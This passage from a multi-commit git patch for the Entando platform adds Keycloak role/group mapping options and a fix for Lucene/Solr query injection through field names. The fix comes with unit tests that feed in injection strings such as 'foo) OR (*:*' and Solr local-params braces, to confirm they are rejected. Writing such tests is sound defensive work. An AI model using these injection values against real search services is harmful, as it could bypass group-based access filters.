cfg = new KeycloakImportConfig(profileMappings, jwtMappings, ignore, roles, groups, enabled, persist, excludeUsers); setImportConfiguration(cfg); } catch (Exception e) { log.error("Error initializing KeycloakAuthorizationManager", e); - KeycloakImportConfig cfg = new KeycloakImportConfig(List.of(), List.of(), List.of(), List.of(), List.of(), false, PersistKind.NONE); + KeycloakImportConfig cfg = new KeycloakImportConfig(List.of(), List.of(), List.of(), List.of(), List.of(), false, PersistKind.NONE, List.of()); setImportConfiguration(cfg); throw e; @@ -190,23 +196,36 @@ public void cleanSyncData() { * @return true if the element is valid, false otherwise */ private boolean isValid(DynamicMappingElement elem) { - if (elem.kind == null) { - log.error("invalid dynamic mapping element, 'kind' is blank"); - return false; - } - if (StringUtils.isBlank(elem.attribute) && !elem.kind.isJwtMapping()) { - log.error("invalid dynamic mapping element, 'attribute' is blank for kind {}", elem.kind); - return false; - } - if (StringUtils.isBlank(elem.path) && elem.kind.isJwtMapping()) { - log.error("invalid dynamic mapping element, 'path' is blank for {} kind", elem.kind); - return false; - } - if (StringUtils.isBlank(elem.separator) && (elem.kind == ROLEGROUP || elem.kind == ROLEGROUPCLAIM)) { - log.error("invalid dynamic mapping element, 'separator' is blank for {} kind", elem.kind); + try { + if (elem == null) { + log.error("invalid dynamic mapping element, element is null"); + return false; + } + if (elem.kind == null) { + log.error("invalid dynamic mapping element, 'kind' is missing"); + return false; + } + if (StringUtils.isBlank(elem.attribute) && !elem.kind.isJwtMapping()) { + log.error("invalid dynamic mapping element, 'attribute' is blank for kind {}", elem.kind); + return false; + } + if (StringUtils.isBlank(elem.path) && elem.kind.isJwtMapping()) { + log.error("invalid dynamic mapping element, 'path' is blank for {} kind", elem.kind); + return false; + } + if (StringUtils.isBlank(elem.separator) && (elem.kind == ROLEGROUP || elem.kind == ROLEGROUPCLAIM)) { + log.error("invalid dynamic mapping element, 'separator' is blank for {} kind", elem.kind); + return false; + } + if (elem.fallback != null && elem.kind != ROLEGROUP && elem.kind != ROLEGROUPCLAIM) { + log.warn("dynamic mapping element has 'fallback' set for kind {} which does not support it; " + + "'fallback' is only applicable to {} and {}", elem.kind, ROLEGROUP, ROLEGROUPCLAIM); + } + return true; + } catch (Exception e) { + log.error("Unexpected error validating dynamic mapping element", e); return false; } - return true; } public void processNewUser(final UserDetails user, final String token, final boolean decode) { @@ -216,6 +235,11 @@ public void processNewUser(final UserDetails user, final String token, final boo readLock.lock(); try { + final List excludedUsers = getImportConfiguration().getExcludeUsers(); + if (excludedUsers != null && user.getUsername() != null && excludedUsers.contains(user.getUsername())) { + log.debug("user {} is in the excludeUsers list, skipping dynamic sync", user.getUsername()); + return; + } if (!getImportConfiguration().getEnabled()) return; // Authorizations coming from dynamic mapping (that is, external sources) @@ -336,19 +360,18 @@ private List finalizeGroupRoleAssociation(KeycloakUser user, Dyna } final String sep = StringUtils.isNotBlank(elem.separator) ? elem.separator : DEFAULT_SEPARATOR; - final String[] tokens = candidate.split(sep); - if (tokens.length < 2) { - // treat as a role -// result.addAll(finalizeRoleAssociation(user, elem, List.of(candidate.trim()))); + if (!candidate.contains(sep)) { + result.addAll(applyFallbackForRoleGroup(user, elem, candidate.trim())); continue; } + final String[] tokens = candidate.split(Pattern.quote(sep), -1); final String roleName = tokens[0].trim(); - final String groupName = tokens[1].trim(); + final String groupName = tokens.length > 1 ? tokens[1].trim() : ""; - if (StringUtils.isBlank(roleName)) { - log.warn("Invalid role name extracted from candidate '{}' for user {}", candidate, user.getUsername()); + if (StringUtils.isBlank(roleName) || StringUtils.isBlank(groupName)) { + log.warn("Blank role or group in token '{}' for user {}, discarding", candidate, user.getUsername()); continue; } @@ -363,6 +386,20 @@ private List finalizeGroupRoleAssociation(KeycloakUser user, Dyna return result; } + private List applyFallbackForRoleGroup(KeycloakUser user, DynamicMappingElement elem, String token) { + if (elem.fallback == FallbackKind.IGNORE) { + log.warn("No separator in token '{}' for user {}, discarding (fallback=ignore)", token, user.getUsername()); + return List.of(); + } + if (elem.fallback == FallbackKind.GROUP) { + return finalizeGroupAssociation(user, elem, List.of(token)); + } + if (elem.fallback == null) { + log.info("No separator in token '{}' for user {}, treating as role (implicit default fallback)", token, user.getUsername()); + } + return finalizeRoleAssociation(user, elem, List.of(token)); + } + private void processNewUser(final UserDetails user) { if (StringUtils.isNotEmpty(KeycloackConfiguration.getDefaultAuthorizations())) { // process group and role coming from the configuration @@ -471,6 +508,10 @@ private List doProcessRoleGroup(KeycloakUser user, DynamicMapping return result; } for (String groupRoleToken : authorizations) { + if (!groupRoleToken.contains(separator)) { + result.addAll(applyFallbackForRoleGroup(user, elem, groupRoleToken.trim())); + continue; + } Authorization auth = parseAuthForRoleGroup(user, groupRoleToken, separator); if (auth != null) { result.add(auth); @@ -483,18 +524,16 @@ private List doProcessRoleGroup(KeycloakUser user, DynamicMapping } private Authorization parseAuthForRoleGroup(KeycloakUser user, String groupRoleToken, String separator) { - final String[] tokens = groupRoleToken.split(separator); + final String[] tokens = groupRoleToken.split(Pattern.quote(separator), -1); + + final String roleName = tokens[0].trim(); + final String groupName = tokens.length > 1 ? tokens[1].trim() : ""; - if (tokens.length != 2 - || StringUtils.isBlank(tokens[0]) - || StringUtils.isBlank(tokens[1])) { - log.error("invalid dynamic config configuration detected"); + if (StringUtils.isBlank(roleName) || StringUtils.isBlank(groupName)) { + log.warn("Blank role or group in token '{}' for user {}, discarding", groupRoleToken, user.getUsername()); return null; } - final String groupName = tokens[1]; - final String roleName = tokens[0]; - return finalizeAssociation(user, roleName, groupName, false); } @@ -553,11 +592,11 @@ private Authorization finalizeAssociation(KeycloakUser user, String roleName, St } // are they managed? if (StringUtils.isNotBlank(roleName) && !getImportConfiguration().getRoles().contains(roleName)) { - log.info("Role {} is not managed. Skipping assignment for user {}", roleName, user.getUsername()); + log.warn("Role {} is not in the roles allowlist. Skipping assignment for user {}", roleName, user.getUsername()); return null; } if (StringUtils.isNotBlank(groupName) && !getImportConfiguration().getGroups().contains(groupName)) { - log.info("Group {} is not managed. Skipping assignment for user {}", groupName, user.getUsername()); + log.warn("Group {} is not in the groups allowlist. Skipping assignment for user {}", groupName, user.getUsername()); return null; } return createAuthorization(roleName, groupName, createRoleIfMissing); diff --git a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/KeycloakImportConfig.java b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/KeycloakImportConfig.java index 81053f64c..d1d64d839 100644 --- a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/KeycloakImportConfig.java +++ b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/KeycloakImportConfig.java @@ -20,5 +20,6 @@ public class KeycloakImportConfig { private transient List groups; private transient Boolean enabled; private transient PersistKind persist; + private transient List excludeUsers; } diff --git a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/DynamicMapping.java b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/DynamicMapping.java index ba5b71dbc..afdaff265 100644 --- a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/DynamicMapping.java +++ b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/DynamicMapping.java @@ -21,6 +21,9 @@ public class DynamicMapping { @JacksonXmlElementWrapper(localName = "groups") public List groups; + @JacksonXmlElementWrapper(localName = "excludeUsers") + public List excludeUsers; + public Boolean enabled; public PersistKind persist; diff --git a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/DynamicMappingElement.java b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/DynamicMappingElement.java index 229f180a2..6493c3a9d 100644 --- a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/DynamicMappingElement.java +++ b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/DynamicMappingElement.java @@ -7,6 +7,7 @@ public class DynamicMappingElement { public String attribute; public DynamicMappingKind kind; public String separator; // FOR ROLEGROUP and ROLEGROUPCLAIM ONLY + public FallbackKind fallback; // FOR ROLEGROUP and ROLEGROUPCLAIM ONLY public String path; // FOR *CLAIM ONLY } diff --git a/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/FallbackKind.java b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/FallbackKind.java new file mode 100644 index 000000000..129684598 --- /dev/null +++ b/keycloak-plugin/src/main/java/org/entando/entando/keycloak/services/mapping/FallbackKind.java @@ -0,0 +1,30 @@ +package org.entando.entando.keycloak.services.mapping; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonValue; +import java.util.Arrays; + +public enum FallbackKind { + ROLE("role"), + GROUP("group"), + IGNORE("ignore"); + + private final String kind; + + FallbackKind(String kind) { + this.kind = kind; + } + + @JsonValue + public String getXmlValue() { + return kind; + } + + @JsonCreator + public static FallbackKind fromValue(String value) { + return Arrays.stream(values()) + .filter(k -> k.kind.equalsIgnoreCase(value)) + .findFirst() + .orElse(null); + } +} diff --git a/keycloak-plugin/src/test/java/org/entando/entando/keycloak/services/KeycloakAuthorizationManagerTest.java b/keycloak-plugin/src/test/java/org/entando/entando/keycloak/services/KeycloakAuthorizationManagerTest.java index fd9dcd2cf..0ee40a118 100644 --- a/keycloak-plugin/src/test/java/org/entando/entando/keycloak/services/KeycloakAuthorizationManagerTest.java +++ b/keycloak-plugin/src/test/java/org/entando/entando/keycloak/services/KeycloakAuthorizationManagerTest.java @@ -1078,6 +1078,156 @@ void testExternalAuthSyncArgsVerifiedExactly() throws Exception { assertThat(toDeleteCaptor.getValue()).isEmpty(); } + // ------------------------------------------------------------------------- + // isValid tests — enabled mappings with missing required fields + // ------------------------------------------------------------------------- + + @Test + void testIsValidFiltersEnabledMappingWithNullKind() throws Exception { + String xml = "" + + " true" + + "" + + " true" + + "" + + ""; + when(configManager.getConfigItem(anyString())).thenReturn(xml); + + manager.init(); + + assertNotNull(manager.getImportConfiguration()); + assertThat(manager.getImportConfiguration().getEnabled()).isTrue(); + assertThat(manager.getImportConfiguration().getProfileMappings()).isEmpty(); + assertThat(manager.getImportConfiguration().getJwtMappings()).isEmpty(); + } + + @Test + void testIsValidFiltersEnabledMappingWithMissingAttribute() throws Exception { + String xml = "" + + " true" + + "" + + " truerole" + + "" + + ""; + when(configManager.getConfigItem(anyString())).thenReturn(xml); + + manager.init(); + + assertNotNull(manager.getImportConfiguration()); + assertThat(manager.getImportConfiguration().getEnabled()).isTrue(); + assertThat(manager.getImportConfiguration().getProfileMappings()).isEmpty(); + } + + @Test + void testIsValidFiltersEnabledMappingWithMissingPath() throws Exception { + String xml = "" + + " true" + + "" + + " trueroleclaim" + + "" + + ""; + when(configManager.getConfigItem(anyString())).thenReturn(xml); + + manager.init(); + + assertNotNull(manager.getImportConfiguration()); + assertThat(manager.getImportConfiguration().getEnabled()).isTrue(); + assertThat(manager.getImportConfiguration().getJwtMappings()).isEmpty(); + } + + @Test + void testIsValidFiltersEnabledMappingWithMissingSeparator() throws Exception { + String xml = "" + + " true" + + "" + + " trueAD_GROUPROLErolegroup" + + "" + + ""; + when(configManager.getConfigItem(anyString())).thenReturn(xml); + + manager.init(); + + assertNotNull(manager.getImportConfiguration()); + assertThat(manager.getImportConfiguration().getEnabled()).isTrue(); + assertThat(manager.getImportConfiguration().getProfileMappings()).isEmpty(); + } + + // ------------------------------------------------------------------------- + // isValid — fallback on unsupported kind: warning only, mapping kept + // ------------------------------------------------------------------------- + + @Test + void testIsValidWarnsFallbackOnUnsupportedKind() throws Exception { + String xml = "" + + " true" + + "" + + " " + + " true" + + " realm_access.roles" + + " roleclaim" + + " role" + + " " + + "" + + "generico" + + ""; + when(configManager.getConfigItem(anyString())).thenReturn(xml); + + manager.init(); + + assertNotNull(manager.getImportConfiguration()); + // The mapping must NOT be rejected — fallback warning is non-fatal + assertThat(manager.getImportConfiguration().getJwtMappings()).hasSize(1); + } + + // ------------------------------------------------------------------------- + // Case-insensitivity: uppercase kind and persist identifiers + // ------------------------------------------------------------------------- + + @Test + void testConfigAcceptsUppercaseKind() throws Exception { + String xml = "" + + " true" + + " full" + + "" + + " " + + " true" + + " realm_access.roles" + + " ROLECLAIM" + + " " + + "" + + "generico" + + ""; + when(configManager.getConfigItem(anyString())).thenReturn(xml); + + manager.init(); + + assertNotNull(manager.getImportConfiguration()); + assertThat(manager.getImportConfiguration().getEnabled()).isTrue(); + assertThat(manager.getImportConfiguration().getJwtMappings()).hasSize(1); + } + + @Test + void testConfigAcceptsUppercasePersist() throws Exception { + String xml = "" + + " true" + + " FULL" + + "" + + " " + + " true" + + " realm_access.roles" + + " roleclaim" + + " " + + "" + + "generico" + + ""; + when(configManager.getConfigItem(anyString())).thenReturn(xml); + + manager.init(); + + assertNotNull(manager.getImportConfiguration()); + assertThat(manager.getImportConfiguration().getPersist()) + .isEqualTo(org.entando.entando.keycloak.services.mapping.PersistKind.FULL); + } + private Authorization authorization(final String groupName, final String roleName) { final Group group = new Group(); group.setName(groupName); @@ -1459,6 +1609,7 @@ void testCleanSyncDataDisabled() throws Exception { + " realm_access.roles" + " ROLEGROUPCLAIM" + " _SEP_" + + " ignore" + " " + "" + "" @@ -1600,6 +1751,222 @@ void testCleanSyncDataDisabled() throws Exception { + " " + ""; + // ------------------------------------------------------------------------- + // excludeUsers tests + // ------------------------------------------------------------------------- + + @Test + void testExcludeUsersSkipsDynamicSync() throws Exception { + String xml = "" + + " FULL" + + " true" + + "" + + " " + + " true" + + " realm_access.roles" + + " ROLECLAIM" + + " " + + "" + + "" + + " service-account" + + "" + + "generico" + + ""; + + when(configuration.getDefaultAuthorizations()).thenReturn(null); + when(configManager.getConfigItem(anyString())).thenReturn(xml); + when(userDetails.getUsername()).thenReturn("service-account"); + lenient().when(userDetails.getAuthorizations()).thenReturn(new ArrayList<>()); + + manager.init(); + manager.processNewUser(userDetails, JWT, false); + + verify(authorizationManager, never()).externalAuthSync(anyString(), anyLong(), anyList(), anyList()); + verify(userDetails, never()).addAuthorizations(anyList()); + } + + // ------------------------------------------------------------------------- + // fallback tests — rolegroupclaim (JWT path) + // ------------------------------------------------------------------------- + + private static final String JWT_SINGLE_TOKEN = + "{ \"iat\":1768319143, \"realm_access\":{ \"roles\":[\"singletoken\"] } }"; + + @Test + void testFallbackDefaultTreatsTokenAsRole() throws Exception { + // No → default → treat as role + INFO log + String xml = "" + + " NONE" + + " true" + + "" + + " " + + " true" + + " realm_access.roles" + + " ROLEGROUPCLAIM" + + " _SEP_" + + " " + + "" + + "singletoken" + + "" + + ""; + + when(configuration.getDefaultAuthorizations()).thenReturn(null); + when(configManager.getConfigItem(anyString())).thenReturn(xml); + when(userDetails.getUsername()).thenReturn("testuser"); + when(userDetails.getAuthorizations()).thenReturn(new ArrayList<>()); + + manager.init(); + manager.processNewUser(userDetails, JWT_SINGLE_TOKEN, false); + + @SuppressWarnings("unchecked") + ArgumentCaptor> listCaptor = ArgumentCaptor.forClass(List.class); + verify(userDetails, times(1)).addAuthorizations(listCaptor.capture()); + assertThat(listCaptor.getValue()).hasSize(1); + assertThat(listCaptor.getValue().get(0).getRole().getName()).isEqualTo("singletoken"); + assertThat(listCaptor.getValue().get(0).getGroup()).isNull(); + } + + @Test + void testFallbackRoleTreatsTokenAsRole() throws Exception { + String xml = "" + + " NONE" + + " true" + + "" + + " " + + " true" + + " realm_access.roles" + + " ROLEGROUPCLAIM" + + " _SEP_" + + " role" + + " " + + "" + + "singletoken" + + "" + + ""; + + when(configuration.getDefaultAuthorizations()).thenReturn(null); + when(configManager.getConfigItem(anyString())).thenReturn(xml); + when(userDetails.getUsername()).thenReturn("testuser"); + when(userDetails.getAuthorizations()).thenReturn(new ArrayList<>()); + + manager.init(); + manager.processNewUser(userDetails, JWT_SINGLE_TOKEN, false); + + @SuppressWarnings("unchecked") + ArgumentCaptor> listCaptor = ArgumentCaptor.forClass(List.class); + verify(userDetails, times(1)).addAuthorizations(listCaptor.capture()); + assertThat(listCaptor.getValue()).hasSize(1); + assertThat(listCaptor.getValue().get(0).getRole().getName()).isEqualTo("singletoken"); + assertThat(listCaptor.getValue().get(0).getGroup()).isNull(); + } + + @Test + void testFallbackGroupTreatsTokenAsGroup() throws Exception { + String xml = "" + + " NONE" + + " true" + + "" + + " " + + " true" + + " realm_access.roles" + + " ROLEGROUPCLAIM" + + " _SEP_" + + " group" + + " " + + "" + + "" + + "singletoken" + + ""; + + when(configuration.getDefaultAuthorizations()).thenReturn(null); + when(configManager.getConfigItem(anyString())).thenReturn(xml); + when(userDetails.getUsername()).thenReturn("testuser"); + when(userDetails.getAuthorizations()).thenReturn(new ArrayList<>()); + + manager.init(); + manager.processNewUser(userDetails, JWT_SINGLE_TOKEN, false); + + @SuppressWarnings("unchecked") + ArgumentCaptor> listCaptor = ArgumentCaptor.forClass(List.class); + verify(userDetails, times(1)).addAuthorizations(listCaptor.capture()); + assertThat(listCaptor.getValue()).hasSize(1); + assertThat(listCaptor.getValue().get(0).getGroup().getName()).isEqualTo("singletoken"); + assertThat(listCaptor.getValue().get(0).getRole()).isNull(); + } + + @Test + void testFallbackIgnoreDiscardsToken() throws Exception { + String xml = "" + + " NONE" + + " true" + + "" + + " " + + " true" + + " realm_access.roles" + + " ROLEGROUPCLAIM" + + " _SEP_" + + " ignore" + + " " + + "" + + "singletoken" + + "" + + ""; + + when(configuration.getDefaultAuthorizations()).thenReturn(null); + when(configManager.getConfigItem(anyString())).thenReturn(xml); + when(userDetails.getUsername()).thenReturn("testuser"); + when(userDetails.getAuthorizations()).thenReturn(new ArrayList<>()); + + manager.init(); + manager.processNewUser(userDetails, JWT_SINGLE_TOKEN, false); + + @SuppressWarnings("unchecked") + ArgumentCaptor> listCaptor = ArgumentCaptor.forClass(List.class); + verify(userDetails, times(1)).addAuthorizations(listCaptor.capture()); + assertThat(listCaptor.getValue()).isEmpty(); + } + + // ------------------------------------------------------------------------- + // fallback test — rolegroup (profile path) + // ------------------------------------------------------------------------- + + @Test + void testFallbackDefaultProfileRoleGroup() throws Exception { + String xml = "" + + " NONE" + + " true" + + "" + + " " + + " true" + + " AD_GROUPROLE" + + " ROLEGROUP" + + " _r_" + + " " + + "" + + "singletoken" + + "" + + ""; + + when(configuration.getDefaultAuthorizations()).thenReturn(null); + when(configManager.getConfigItem(anyString())).thenReturn(xml); + + UserRepresentation userRepresentation = new UserRepresentation(); + userRepresentation.setAttributes(Map.of("AD_GROUPROLE", List.of("singletoken"))); + when(userDetails.getUserRepresentation()).thenReturn(userRepresentation); + when(userDetails.getAuthorizations()).thenReturn(new ArrayList<>()); + + manager.init(); + manager.processNewUser(userDetails, null, false); + + @SuppressWarnings("unchecked") + ArgumentCaptor> listCaptor = ArgumentCaptor.forClass(List.class); + verify(userDetails, times(1)).addAuthorizations(listCaptor.capture()); + assertThat(listCaptor.getValue()).hasSize(1); + assertThat(listCaptor.getValue().get(0).getRole()).isNotNull(); + assertThat(listCaptor.getValue().get(0).getRole().getName()).isEqualTo("singletoken"); + assertThat(listCaptor.getValue().get(0).getGroup()).isNull(); + } + private static final String JWT_NO_ROLE = "{" + " \"header\" : {" + " \"alg\" : \"RS256\"," From 28332d01ec6b56fb4352e323ac1fde5a3e06596f Mon Sep 17 00:00:00 2001 From: "Matteo E. Minnai" Date: Fri, 26 Jun 2026 14:12:42 +0200 Subject: [PATCH 07/17] ESB-1154 fix Lucene query injection via unsanitized field names --- .../jpsolr/aps/system/solr/SearcherDAO.java | 18 +++- .../solr/SearcherDAOSpecialCharsTest.java | 95 +++++++++++++++++++ 2 files changed, 112 insertions(+), 1 deletion(-) diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java index ad46976d4..fb5a799ec 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java @@ -30,6 +30,7 @@ import java.util.HashSet; import java.util.List; import java.util.Map; +import java.util.regex.Pattern; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; @@ -65,6 +66,12 @@ @Slf4j public class SearcherDAO implements ISolrSearcherDAO { + // Allowlist for Lucene/Solr field names: only alphanumeric and underscore. + // Parentheses, spaces, operators (AND/OR/NOT), and other Lucene meta-characters + // in a field name break the serialized query string produced by BooleanQuery.toString() + // and are the root of the Lucene query injection vulnerability. + private static final Pattern VALID_FIELD_KEY = Pattern.compile("[a-zA-Z0-9_]+"); + private ITreeNodeManager treeNodeManager; private ILangManager langManager; @@ -541,6 +548,10 @@ protected Query getTermQueryForTextSearch(String key, String value, boolean isLi protected String getFilterKey(SearchEngineFilter filter) { String key = filter.getKey().replace(":", "_"); + if (!VALID_FIELD_KEY.matcher(key).matches()) { + throw new IllegalArgumentException( + "Rejected Solr field key with unsafe characters: '" + key + "'"); + } if (filter.isFullTextSearch()) { return key; } @@ -548,7 +559,12 @@ protected String getFilterKey(SearchEngineFilter filter) { String insertedLangCode = filter.getLangCode(); String langCode = (StringUtils.isBlank(insertedLangCode)) ? this.getLangManager().getDefaultLang().getCode() : insertedLangCode; - key = langCode.toLowerCase() + "_" + key; + String normalizedLang = langCode.toLowerCase(); + if (!VALID_FIELD_KEY.matcher(normalizedLang).matches()) { + throw new IllegalArgumentException( + "Rejected Solr lang code with unsafe characters: '" + normalizedLang + "'"); + } + key = normalizedLang + "_" + key; } else if (!key.startsWith(SolrFields.SOLR_FIELD_PREFIX)) { key = SolrFields.SOLR_FIELD_PREFIX + key; } diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index fdfcd195d..e9ac539c9 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -21,6 +21,7 @@ import org.mockito.Mock; import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; +import static org.junit.jupiter.api.Assertions.assertThrows; /** * Special-character handling tests for SearcherDAO query building. @@ -243,6 +244,100 @@ void exactPhraseMultipleValuesEmitsQuotedOutput_documentingCurrentBehavior() thr "+(entity_key:\"foo:bar\" entity_key:\"baz+qux\") +(entity_group:free)"); } + // ------------------------------------------------------------------ + // Field-key injection tests (CVE-class: Lucene query injection) + // + // User-controlled field names that contain Lucene/Solr meta-characters + // (parentheses, spaces, operators, local-params braces …) corrupt the + // query string produced by BooleanQuery.toString() and can break the + // group-based access-control filter. All such inputs must be rejected + // with IllegalArgumentException before any Term object is constructed. + // ------------------------------------------------------------------ + + @Test + void shouldRejectFieldNameWithParenthesisAndOrOperator() { + // Simulates: filters[0].attribute = "foo) OR (*:*" + SolrSearchEngineFilter filter = + new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); + + assertThrows(IllegalArgumentException.class, () -> + searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, + new SearchEngineFilter[]{}, new ArrayList<>())); + } + + @Test + void shouldRejectEntityAttrWithInjectedOperator() { + // Simulates: filters[0].entityAttr = "attr) OR (*:*" (isAttributeFilter = true) + SolrSearchEngineFilter filter = + new SolrSearchEngineFilter<>("attr) OR (*:*", true, "value"); + + assertThrows(IllegalArgumentException.class, () -> + searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, + new SearchEngineFilter[]{}, new ArrayList<>())); + } + + @Test + void shouldRejectFieldNameWithSpaces() { + SolrSearchEngineFilter filter = + new SolrSearchEngineFilter<>("valid AND malicious", false, "value"); + + assertThrows(IllegalArgumentException.class, () -> + searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, + new SearchEngineFilter[]{}, new ArrayList<>())); + } + + @Test + void shouldRejectLangCodeUsedAsFullTextSearchKey() { + // Simulates: lang = "en) OR (*:*" passed as the full-text search field key. + // The filter key IS the lang code when fullTextSearch = true. + SolrSearchEngineFilter filter = + new SolrSearchEngineFilter<>("en) OR (*:*", "search text", + TextSearchOption.AT_LEAST_ONE_WORD); + filter.setFullTextSearch(true); + + assertThrows(IllegalArgumentException.class, () -> + searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, + new SearchEngineFilter[]{}, new ArrayList<>())); + } + + @Test + void shouldRejectInjectedLangCodePrefixOnAttributeFilter() { + // Simulates a crafted SolrSearchEngineFilter whose langCode (the prefix + // prepended to the field name for attribute filters) contains operators. + SolrSearchEngineFilter filter = + new SolrSearchEngineFilter<>("key", true, "value"); + filter.setLangCode("en) OR (*:*"); + + assertThrows(IllegalArgumentException.class, () -> + searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, + new SearchEngineFilter[]{}, new ArrayList<>())); + } + + @Test + void shouldRejectFieldNameWithSolrLocalParamsBrace() { + // Simulates an attempt to inject Solr local params ({!...}) via field name. + SolrSearchEngineFilter filter = + new SolrSearchEngineFilter<>("{!func}log(popularity)", false, "value"); + + assertThrows(IllegalArgumentException.class, () -> + searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, + new SearchEngineFilter[]{}, new ArrayList<>())); + } + + @Test + void shouldRejectFieldNameInDoubleFilterArray() { + // Same injection via the searchFacetedContents(SearchEngineFilter[][] …) overload. + SolrSearchEngineFilter filter = + new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); + + SearchEngineFilter[][] doubleFilters = + new SearchEngineFilter[][]{{filter}}; + + assertThrows(IllegalArgumentException.class, () -> + searcherDAO.searchFacetedContents(doubleFilters, + new SearchEngineFilter[]{}, new ArrayList<>())); + } + // ------------------------------------------------------------------ // helpers (mirror SearcherDAOTest) // ------------------------------------------------------------------ From 1ec9eed84934b219838b19a211f70dc9c0146f45 Mon Sep 17 00:00:00 2001 From: ffalqui Date: Mon, 29 Jun 2026 12:35:31 +0200 Subject: [PATCH 08/17] ESB-1053 Update Freemarker dependency to use Jakarta servlet package. --- .../entando/aps/tags/FreemarkerTemplateParameterTag.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/engine/src/main/java/org/entando/entando/aps/tags/FreemarkerTemplateParameterTag.java b/engine/src/main/java/org/entando/entando/aps/tags/FreemarkerTemplateParameterTag.java index 03c135e77..3d67abf42 100644 --- a/engine/src/main/java/org/entando/entando/aps/tags/FreemarkerTemplateParameterTag.java +++ b/engine/src/main/java/org/entando/entando/aps/tags/FreemarkerTemplateParameterTag.java @@ -16,7 +16,7 @@ import com.agiletec.aps.system.RequestContext; import freemarker.core.Environment; import freemarker.ext.beans.StringModel; -import freemarker.ext.servlet.AllHttpScopesHashModel; +import freemarker.ext.jakarta.servlet.AllHttpScopesHashModel; import freemarker.template.TemplateModel; import jakarta.servlet.ServletRequest; import jakarta.servlet.jsp.JspException; From 4104cc7aa5c4dfcd02fa2e7a19a564b9908d8837 Mon Sep 17 00:00:00 2001 From: ffalqui Date: Mon, 29 Jun 2026 13:08:07 +0200 Subject: [PATCH 09/17] ESB-1144 Sanitize entity type labels --- Dockerfile.tomcat | 2 +- .../apsadmin/jsp/entity/view/enumeratorAttribute.jsp | 4 ++-- .../apsadmin/jsp/entity/view/enumeratorMapAttribute.jsp | 8 ++++---- .../apsadmin/jsp/entity/view/hypertextAttribute.jsp | 2 +- .../apsadmin/jsp/entity/view/longtextAttribute.jsp | 2 +- .../WEB-INF/apsadmin/jsp/entity/view/textAttribute.jsp | 2 +- .../plugins/jacms/apsadmin/jsp/content/contentDetails.jsp | 2 +- .../jacms/apsadmin/jsp/content/view/imageAttribute.jsp | 6 +++--- .../jacms/apsadmin/jsp/content/view/linkAttribute.jsp | 4 ++-- .../aps/system/common/entity/ApsEntityManager.java | 1 + .../java/org/entando/entando/ent/util/LabelSanitizer.java | 7 ++++++- 11 files changed, 23 insertions(+), 17 deletions(-) diff --git a/Dockerfile.tomcat b/Dockerfile.tomcat index e928f65a1..806b42538 100644 --- a/Dockerfile.tomcat +++ b/Dockerfile.tomcat @@ -1,4 +1,4 @@ -FROM registry.hub.docker.com/entando/entando-tomcat-base:7.5.0 +FROM registry.hub.docker.com/entando/entando-tomcat-base:v7.5.1-ESB-1170-PR-37-BB-release-2F-7.5 ARG VERSION ### Required OpenShift Labels diff --git a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/enumeratorAttribute.jsp b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/enumeratorAttribute.jsp index 3be99dec9..4e3af19cd 100644 --- a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/enumeratorAttribute.jsp +++ b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/enumeratorAttribute.jsp @@ -1,10 +1,10 @@ <%@ taglib prefix="s" uri="/struts-tags" %> - + - + diff --git a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/enumeratorMapAttribute.jsp b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/enumeratorMapAttribute.jsp index 003366472..75d0facae 100644 --- a/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/enumeratorMapAttribute.jsp +++ b/admin-console/src/main/webapp/WEB-INF/apsadmin/jsp/entity/view/enumeratorMapAttribute.jsp @@ -2,16 +2,16 @@ – -

:

-

:

+

:

+

:

– -

:

-

:

+

:

+

:

